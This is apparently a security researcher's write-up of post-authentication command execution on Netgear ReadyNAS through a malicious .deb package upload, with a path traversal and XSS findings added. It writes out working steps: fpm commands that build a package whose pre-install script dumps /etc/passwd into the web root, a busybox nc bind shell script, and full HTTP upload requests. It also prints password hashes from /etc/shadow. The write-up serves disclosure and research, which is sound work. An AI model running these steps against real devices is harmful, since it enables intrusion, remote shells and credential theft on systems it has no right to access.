While waiting to find a really valuable vulnerability with a real impact, I propose to show you a little trick to execute commands on Netgear NAS when you have a privileged account.

What is ReadyNAS?

According to a Netgear NAS reseller. The ReadyNAS solution fits the following description:

ReadyNAS brings state-of-the-art data storage and protection technologies in an affordable and easy-to-use system to the SMB. All ReadyNAS are built on the revolutionary ReadyNAS OS 6 operating system and next-gen BTRFS file system. A best-in-class 5 levels of data protection - X-RAID, Unlimited Snapshots, Bit rot protection, real-time anti-virus and easy offsite replication work in concert to securely protect your data from common risks.

All ReadyNAS systems utilize proprietary ReadyCLOUD technology. With ReadyCLOUD, remotely accessing and sharing files in your own secure private cloud has never been easier. No VPN setup, no port forwarding, no dynamic DNS required. - NetGuardStore

Let’s see how it is possible to get an arbitrary command execution.

How?

The Linux based ReadyNAS OS offers to administrators the possibility of installing applications from the catalog offered by Netgear. In addition, an administrator can provide an application in the form of a package in .deb format. So we only have to create a malicious one.

Generating a rogue .deb package

Define the basename of the output destination file.

Example:

  • fb3bdaccd8d67b2ad866873c4cb0abd1155946c9.log

Create the script that will be executed before installing the rogue package:

$ mkdir -p test
$ echo '#!/bin/bash' > test/test.sh
$ echo 'cat /etc/passwd > /frontview/dashboard/fb3bdaccd8d67b2ad866873c4cb0abd1155946c9.log' >> test/test.sh

Generate a .deb package using fpm by specifying the previously created script to be run before installation:

$ fpm -n test -s dir -t deb -a all --before-install ./test/test.sh ./test
Created package {:path=>"test_1.0_all.deb"}

Upload the rogue .deb file

Once the malicious package is created, all we have to do is upload it via the corresponding form.

alt text

alt text

Below is the burp request associated with the upload of the malicious .deb package.

alt text

And once the upload is done we realize that the file fb3bdaccd8d67b2ad866873c4cb0abd1155946c9.log has been correctly created at the root of the web server

alt text

Now that we can execute commands, let’s check how we can get a shell.

The version of busybox embedded by ReadyNAS OS includes the nc binary. So we can use the following pre-installation script to get a bind shell which can be useful when using the tor network since it does not allow us to use a reverse shell:

#!/bin/bash
/bin/busybox nc -l -p 6666 -e /bin/bash &
echo "[+] Listening ..." > /frontview/dashboard/fb3bdaccd8d67b2ad866873c4cb0abd1155946c9.log

alt text

alt text

Why?

First, let’s look at the routing of the application. The web server installed is Apache.

$ ls /etc/apache2/sites-enabled/
000-fv-https.conf

File: /etc/apache2/sites-enabled/000-fv-https.conf

<IfModule mod_ssl.c>
<VirtualHost _default_:443>
    Include "/etc/frontview/apache/ssl.conf"
    Include "/etc/frontview/apache/defaults.conf"
    Include "/etc/frontview/apache/http-share-redirect.conf"
    Include "/etc/frontview/apache/fv-admin.conf"
    Include "/etc/frontview/apache/Shares.conf"
    Include "/etc/frontview/apache/apps-https.conf"
    Include "/etc/frontview/apache/READYDROP.conf"
</VirtualHost>
</IfModule>

Let’s look at an extract of the file /etc/frontview/apache/fv-admin.conf.

File: /etc/frontview/apache/fv-admin.conf


...

ScriptAlias	/admin-cgi/        /frontview/lib/
<Location /admin-cgi>
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Order allow,deny
    Allow from all
    Include "/etc/frontview/apache/Admin_Auth.conf"
</Location>

...

Then the files /etc/frontview/apache/Admin_Auth.conf.

File: /etc/frontview/apache/Admin_Auth.conf

Include /etc/frontview/apache/Auth.conf
AuthName "ReadyNAS Admin"
Require unix-group admin

And

File: /etc/frontview/apache/Auth.conf

<IfModule !mod_authn_privsep.c>
LoadModule privsep_module /usr/lib/apache2/modules/mod_privsep.so
LoadModule authn_privsep_module /usr/lib/apache2/modules/mod_authn_privsep.so
</IfModule>

AuthType Basic
AuthBasicProvider privsep
PrivilegeSeparation On

A quick look at the documentation of the include directive here help us deduce how the configuration works. Only users belonging to the unix group admin can access the CGI scripts present at /frontview/lib/:

  • dbbroker.cgi
  • delete.cgi
  • download.cgi
  • fastupload.cgi
  • fsbroker
  • fsbroker.cgi
  • fwbroker.cgi
  • fwbrokernml
  • localapp.cgi
  • makedir.cgi
  • status.cgi
  • stimg.cgi
  • upload.cgi

Using the prefix /admin-cgi/. Let’s look at the groups present:

File: /etc/group

root:x:0:

...

admin:x:98:
guest:x:99:
nogroup:x:99:
users:x:100:
mysql:x:56:

As well as the users present:

File: /etc/passwd

root:x:0:0:root:/root:/bin/bash

...

admin:x:98:98::/home/admin:/bin/bash

...

Let’s get the file /etc/shadow to display the hashs of the passwords:

File: /etc/shadow

root:$6$ov3WFuph$je2iy9ovJUN/3sg2RpuzoqdPndvm7FtB71vugLr8tycH3LFzlZgaY4oyc6gmuTsfqHpj5R5Ico35K3dB7rtSC.:15499:0:99999:7:::

...

admin:$1$sSXWGgI6$wLtqmHJXTw./AEneJ/hTm1:15499:0:99999:7:::

...

mysql:!:18982:0:99999:7:::

alt text

alt text

Unfortunately even the cleartext of these passwords will not allow us to authenticate via ssh.

File: /etc/ssh/sshd_config

# Do not edit.
Protocol 2
Port 22
#ListenAddress ::
#ListenAddress 0.0.0.0
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
# Privilege Separation is turned on for security
UsePrivilegeSeparation yes

# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 1024

# Logging
SyslogFacility AUTH
LogLevel INFO

# Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile %h/.ssh/authorized_keys %h/.ssh/ssh_authorized_keys

# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes

# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Change to no to disable tunnelled clear text passwords
PasswordAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no

#MaxStartups 10:30:60
#Banner /etc/issue.net
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

Subsystem sftp /usr/lib/openssh/sftp-server

UsePAM yes
$ ls -al /root/.ssh/ssh_authorized_keys
-rw------- 1 root root 388 Dec 22 00:02 /root/.ssh/ssh_authorized_keys
$ ls -al /home/admin/.ssh/ssh_authorized_keys
-rw------- 1 admin admin 388 Dec 22 00:02 /home/admin/.ssh/ssh_authorized_keys
$ md5sum /root/.ssh/ssh_authorized_keys /home/admin/.ssh/ssh_authorized_keys
4f23f1198a89d8bd5731ae11bc449ebb  /root/.ssh/ssh_authorized_keys
4f23f1198a89d8bd5731ae11bc449ebb  /home/admin/.ssh/ssh_authorized_keys

Because only key authentication is allowed and we do not have the private key associated to the public key:

File: /root/.ssh/ssh_authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDghDcHsc3r/iGhguCF67YId4AM413E+Qo30GT2NAqnkmv3EDELet3neAKs7+i/RgzNGgGxiqSnFSAzAuNe6QM9hsXEypzo1nvBonSchc2xc7woBVN1aGteRzFiopyvoeFkruwoTzMfEXIvyo99qhVZch+4iHkiD6fAe5fXE5Pb80UYCj8FPIxEbifzQx9siG6sZaZKolmIR7WjMKpyROFCtbPL2MLAr9gVrrU+w5uuirv5XKDcymyFpbRstE7gdhOcbh2OTGgaQmGWO7/l6Bg2nST63PG0+9f9cZLxGW+BgodCt+tuEMM8fymI5ogp03gx6Jj/RrN3EnFmRx9aLAH7 Jackal

But let’s go back to the source of the problem.

Reverse engineering

When installing an application (via format .deb), two HTTP POST requests are sent.

First request:

POST /admin-cgi/localapp.cgi HTTP/1.1
Host: X.X.X.X
Cookie: sn=3ER539EB004C1; ys-BrowseDataViewMode=s%3Aicons
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2796578313832174967289471650
Content-Length: 1711
Origin: https://X.X.X.X
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Referer: https://X.X.X.X/admin/index.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------2796578313832174967289471650
Content-Disposition: form-data; name="ext-comp-1513"

test_1.0_all.deb
-----------------------------2796578313832174967289471650
Content-Disposition: form-data; name="file"; filename="test_1.0_all.deb"
Content-Type: application/octet-stream

!<arch>
debian-binary/  0           0     0     644     4         `
2.0
control.tar.gz/ 0           0     0     644     508       `
‹�½­Éa�íÖÝkÛ0�ð<û¯ÐØs,ÊNeƒ=l°A¡°÷“tND)HrÓõ¯ŸâBa…Ò'gÝü…Î:!q¶r¾Z\‘tm;_“××ù¾lJQՕÝ9N”e»bíòC[­¦Á3v‰T×(çÊÙèݸ`Žó‹¦ysýëÔö÷úwmU®X±à ˜^üçëêv¸eCÌ~¡ÆÙ-+ó"ûaڐš&{oÝɦV«ß2ë,f_¼Ú›ˆ*N>…À8f?ÁؘL!Ÿ¦€þ³FiÀÞdßmšäqD½¾3O)ºÈîҋs"LcÌn½qÞÄß[†ÑCöÍð8lãqË9>Âá8b®Ü[·ž¼YïÌÚì+åÍñ¹;ëR/Ïì9â_Ïñ5ËùA·a:„s¼Wÿ¥(_×S×Tÿ—P÷ [lä°J*Ø#B¡* Ú^k6øù”‡}֗Ø˪]WŠÍP©M'E¯êBµ�	
cSð<ìÁ#×NÍïqµ»ÃÑíòÝãuÉùÑ£Ißçs¼·ÿ+›×û¿ôÿ¯¨þ/áã.åRq+ˆŒcTü!œ4»a|ðiwø`ðÄuŠ¼æƒ¬¥¥t¯E'+н}W«FɤN[÷vÓµÉSÅS¹B!„B!„B!„rA�Ú¼�(��data.tar.gz/    0           0     0     644     514       `
‹�½­Éa�ÓÓg 90�sSS0
è4˜mhbhfdldffRgfhhÊ `J{§10”—$)(ÐêÁôôKR‹Kh›Hss“Ñø§€Æ?ˆÐ+Ѝ„âßÐ9þâ†&@iÚ8ŒðøWVÔOÊÌÓOJ,Îà JN,QÐO-IÖ/H,..OQ°SÐO+ÊÏ+)ËL-×OªHÊO,JÑOK2NJILNN±H13O2JL±03³07N6IN2HLJݦ–&fɖz9ùé\í¿Q€èé—Ѹ
@Fýond6ZþÓ@â¿8#±(•f©€äø74006z�äøOÉO¦I #þMÍGÛÿtèñO‹Þ�éñlBΦ؎°ÆrFb^z*°ù¦—^E;@lfb‚3þŒÑâßØmÿÓÈws0ì]{2‘‰™÷”7×!Ö•a…íZÛö°x/¬+P8Çu×ÉG/w‚›‡p÷î폋¦÷Ì]—Ú_ºifü2c/)É»ï­.·i³ÊD|ߦüPhû³m6-¿|=Úê9ãݼõ	y_Øä¸üȑ]ÙÍù–ßìwWLrsù˸Ì"¤­| ý?
FÁ(£`Œ‚Q0
FÁ(£`Œ‚Q0
FÁ(Ã��¤ùªï�(��
-----------------------------2796578313832174967289471650
Content-Disposition: form-data; name="MAX_FILE_SIZE"

104857600
-----------------------------2796578313832174967289471650--

Second request:

POST /dbbroker HTTP/1.1
Host: X.X.X.X
Cookie: sn=3ER539EB004C1; ys-BrowseDataViewMode=s%3Aicons
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Csrfpid: dipRq9aF7JRct8_JtDAJBgAvX6eXsCHEnqLyAGtVRxJhv6EEHgs6DuVu7jJmez6IYq1czLPC5C_9A-n8bGTJv8kSi339G62q
Content-Length: 690
Origin: https://X.X.X.X
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Referer: https://X.X.X.X/admin/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

<?xml version="1.0" encoding="UTF-8"?>             <xs:nml xmlns:xs="http://www.netgear.com/protocol/transaction/NMLSchema-0.9" xmlns="urn:netgear:nas:readynasd" src="dpv_1640610761000" dst="nas">                <xs:transaction id="njl_id_1669">                    <xs:command id="njl_id_1668" resource-id="LocalApp" resource-type="LocalApp">                    <xs:command_name>app-install</xs:command_name>                    <xs:args>                        <xs:arg><DebFile>/tmp/test_1.0_all.deb</DebFile></xs:arg>                        <xs:arg><DryRun>1</DryRun></xs:arg>                    </xs:args>                </xs:command>                </xs:transaction>            </xs:nml>

The XML sent is as follows:

<?xml version="1.0" encoding="UTF-8"?>
<xs:nml
    xmlns:xs="http://www.netgear.com/protocol/transaction/NMLSchema-0.9"
    xmlns="urn:netgear:nas:readynasd" src="dpv_1640610761000" dst="nas">
    <xs:transaction id="njl_id_1669">
        <xs:command id="njl_id_1668" resource-id="LocalApp" resource-type="LocalApp">
            <xs:command_name>app-install</xs:command_name>
            <xs:args>
                <xs:arg>
                    <DebFile>/tmp/test_1.0_all.deb</DebFile>
                </xs:arg>
                <xs:arg>
                    <DryRun>1</DryRun>
                </xs:arg>
            </xs:args>
        </xs:command>
    </xs:transaction>
</xs:nml>

We will have to look at the CGI scripts /frontview/lib/localapp.cgi and /frontview/lib/dbbroker.cgi.cgi and debug them with the root shell.

Looking into function FUN_00401d10 from /frontview/lib/localapp.cgi

File: /frontview/lib/localapp.cgi

void FUN_00401d10(undefined8 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,
                 undefined4 param_5,undefined4 param_6,undefined4 param_7,undefined4 param_8,
                 int param_9,long param_10,undefined8 param_11,undefined8 param_12,
                 undefined8 param_13,undefined8 param_14)

{

  ...

  local_c = 0;
  local_1168[0] = '\0';
  for (local_18 = local_168; uVar10 = (undefined)param_10, local_18 != (char **)0x0;
      local_18 = (char **)local_18[4]) {
    pcVar4 = local_18[1];
    pcVar8 = *local_18;
    pcVar6 = "mime.name=%s mime.filename=%s\n";
    FUN_004010f6(uVar9,param_2,param_3,param_4,param_5,param_6,param_7,param_8,0,"localapp_cgi.c",
                 0x173,"mime.name=%s mime.filename=%s\n",pcVar8,pcVar4,uVar10);
    iVar1 = strcmp(*local_18,"file");
    uVar9 = extraout_XMM0_Da_09;
    if (((iVar1 == 0) &&
        (local_48 = strrchr(local_18[1],0x2e), uVar9 = extraout_XMM0_Da_10, local_48 != (char *)0x0)
        ) && (iVar1 = strcmp(local_48,".deb"), uVar9 = extraout_XMM0_Da_11, iVar1 == 0)) {
      pcVar6 = local_18[1];
      snprintf(local_1168,0x1000,"/tmp/%s");
      __s = fopen(local_1168,"w");
      uVar9 = extraout_XMM0_Da_12;
      local_50 = __s;
      if (__s != (FILE *)0x0) {
        fwrite(local_18[3],1,(size_t)local_18[2],__s);
        fclose(local_50);
        local_c = 1;
        pcVar6 = (char *)__s;
        uVar9 = extraout_XMM0_Da_13;
      }
    }
  }

  ...

}

The above code (FUN_00401d10) is executed when a POST request is made to /admin-cgi/localapp.cgi. It writes the content of the sent file to the /tmp folder.

Path Traversal

We notice that it is also possible to exploit a Path Traversal vulnerability since we can prefix the file name with as many ../ as we want.

alt text

alt text

Let us now turn our attention to /frontview/lib/dbbroker.cgi.cgi.


UPDATE 2022-03-21:

It has also been identified multiple XSS vulnerabilities.

alt text

alt text

alt text

alt text